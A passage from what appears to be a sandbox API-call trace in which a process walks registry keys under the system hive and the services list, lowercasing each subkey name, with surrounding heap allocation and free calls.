Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.233] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0223.233] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.234] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0223.234] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.234] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.234] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0223.235] RegCloseKey (hKey=0x148) returned 0x0 [0223.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.235] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.235] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0223.235] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.236] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.236] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0223.236] RegCloseKey (hKey=0x14c) returned 0x0 [0223.236] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.236] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.236] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0223.236] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a90, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f16e8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a90, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.237] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f16e8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0223.237] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.237] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.238] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.238] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0223.238] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0223.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0223.239] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0223.239] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.239] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0223.239] RtlAllocateHeap 